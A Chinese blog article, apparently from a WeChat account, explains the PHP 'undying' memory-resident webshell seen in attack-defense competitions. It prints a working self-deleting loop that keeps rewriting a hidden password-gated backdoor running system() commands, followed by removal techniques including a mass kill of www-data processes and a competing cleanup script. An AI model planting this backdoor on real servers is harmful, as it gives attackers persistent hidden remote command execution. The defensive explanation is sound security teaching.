https://mp.weixin.qq.com/s/KUA531d_3PKDsUSVgvX0CQ
PHP内存性木马即PHP不死鸟
原创 蓝胖子之家 蓝胖子之家 2023年09月17日 00:00 山东
图片
PHP内存性木马是一种比较隐蔽的恶意代码,它的特点是能够在服务器上保持持续运行,而且通常会创建隐蔽的后门,以便攻击者随时可以访问受感染的服务器。这种木马在AWD(Attack-Defense War)和Web安全竞赛中经常被用来测试和挑战安全性。
以下是一个简单的示例
示例:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2023-9-16 09:10:12" .ski12.php');
usleep(5000);
}
?>
ignore_user_abort(true); - 这一行代码告诉服务器在客户端断开连接后继续执行脚本。这是为了确保木马脚本可以继续在后台运行,即使用户关闭了浏览器或断开了连接。
set_time_limit(0); - 这一行代码将PHP脚本的执行时间限制设置为无限制,确保脚本不会因为执行时间过长而中断。
unlink(__FILE__); - 这一行代码删除了当前运行的PHP脚本文件,使其在删除后不容易被发现。这是木马的一部分,以防止被发现。
$file = '/var/www/dvwa/.ski12.php'; - 这一行代码指定了木马脚本将要写入的文件路径,这里是.ski12.php文件。
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>'; - 这是木马脚本的主要部分,它包含了一个基于POST请求的密码验证,如果提供的密码正确,就允许执行系统命令。这是后门的一部分,允许攻击者远程控制服务器。
while (1) { ... } - 这是一个无限循环,它会不断将上述的木马代码写入指定的文件,并且使用system命令修改文件的修改时间,以隐藏木马的存在。
file_put_contents($file, $code); - 这一行代码将木马代码写入指定的文件中。
system('touch -m -d "2023-9-16 09:10:12" .ski12.php'); - 这一行代码使用system命令修改文件的修改时间,以隐藏木马的存在。
usleep(5000); - 这一行代码让程序暂停5000微秒(即0.005秒),以便下一次循环。
查杀方法
重启服务:重启服务器上受感染的服务是一种有效的方法,因为它会终止所有正在运行的进程,包括木马程序。但这并不总是可行,因为可能会中断正常的服务并影响其他用户。
终止www-data用户的子进程:这个命令会查找所有属于www-data用户的子进程,并强制终止它们。www-data用户通常用于运行Web服务器(如Apache或Nginx),而攻击者可能会尝试利用这个用户来运行木马。终止这些进程可以停止木马的执行。
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
这个命令会强制终止进程,
这个命令是用来查找并终止与www-data用户相关的进程。具体来说,它的作用是:
ps aux:列出当前运行的所有进程。
grep www-data:筛选出包含"www-data"的进程。
awk '{print $2}':提取这些进程的第二列,也就是进程ID。
xargs kill -9:将这些进程ID作为参数传递给kill -9命令,强制终止这些进程。
需要注意的是,使用kill -9命令会强制终止进程,
3.创建同名目录:这个方法利用木马的自我保护机制。木马通常会检测是否存在与其文件名相同的目录,如果存在,则不会执行。因此,创建一个同名目录可以防止木马再次执行。
4.编写竞争写入脚本:这是一种更高级的方法,它尝试不断写入和删除不死马文件,以阻止木马的正常执行。需要确保竞争写入脚本的usleep()时间小于不死马的usleep()时间,以确保它能够成功干扰木马
持续地终止不死马进程并删除不死马文件
<?php
// 创建一个数组,用于存储所有已知的不死马文件路径
$malwareFiles = array(
"不死马的文件路径1",
"不死马的文件路径2",
// 添加更多的不死马文件路径
);
// 进入一个无限循环,用于持续清除不死马
while (true) {
// 终止不死马进程
// 使用 shell_exec 命令执行系统命令来获取不死马进程的PID
// 并使用 kill -9 命令强制终止进程
$processes = shell_exec("ps aux | grep 不死马的进程名 | grep -v grep | awk '{print $2}'");
// 将获取的PID字符串按行分割成数组
$processes = explode("\n", trim($processes));
// 遍历PID数组并逐个终止不死马进程
foreach ($processes as $pid) {
if (!empty($pid)) {
shell_exec("kill -9 $pid");
}
}
// 删除不死马文件
// 遍历存储不死马文件路径的数组
foreach ($malwareFiles as $file) {
// 检查文件是否存在
if (file_exists($file)) {
// 如果文件存在,则使用 unlink 函数删除文件
unlink($file);
}
}
// 暂停脚本执行,以避免过多系统资源占用
usleep(1000); // 暂停1000微秒,即0.001秒,然后再继续下一次循环
}
?>
$malwareFiles数组:这个数组用于存储所有已知的不死马文件路径。你需要将实际不死马文件的路径添加到这个数组中,确保代码可以找到并删除这些文件。
while (true) 循环:这是一个无限循环,用于持续执行清除不死马的操作。
终止不死马进程:使用 shell_exec 命令来执行系统命令,获取不死马进程的PID。grep 命令用于筛选出包含不死马进程名的行,grep -v grep 用于排除 grep 命令本身的匹配结果。然后使用 awk 命令提取PID。继而,foreach 循环遍历所有PID,使用 kill -9 命令强制终止不死马进程。
删除不死马文件:通过遍历 $malwareFiles 数组,检查每个文件是否存在(使用 file_exists 函数),如果文件存在,则使用 unlink 函数删除文件。
usleep(1000):这一行代码暂停脚本的执行,以避免过多系统资源占用。它会在每次循环之后暂停1000微秒(即0.001秒),然后再继续下一次循环。
这段代码的目标是持续地终止不死马进程并删除不死马文件,以确保不死马无法再次运行。请确保将示例代码中的 "不死马的文件路径1" 和 "不死马的文件路径2" 替换为实际不死马文件的路径。
后台回复9.16获取查杀工具
非常重要的一点是,我们要明确使用计算机和编程技术的目的是为了学习和测试,而不是进行非法攻击或者违法行为。编写和使用代码时,我们必须遵守法律法规,并且获得相关授权。如果您有合法的目的和授权,那么可以继续进行测试和使用。但是,如果您违反了法律法规或者未经授权使用,后果将由您自己承担。请务必谨慎行事,遵守法律规定,以确保计算机和网络的安全。
小黑板:非法攻击计算机系统是一种违法行为,违反了计算机安全法规。根据中华人民共和国刑法,非法攻击计算机系统可能构成非法侵入计算机信息系统罪、非法获取计算机信息系统数据、非法控制计算机信息系统罪、提供侵入、非法控制计算机信息系统程序、工具罪等罪名。根据《中华人民共和国刑法》规定,违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚
微信扫一扫
关注该公众号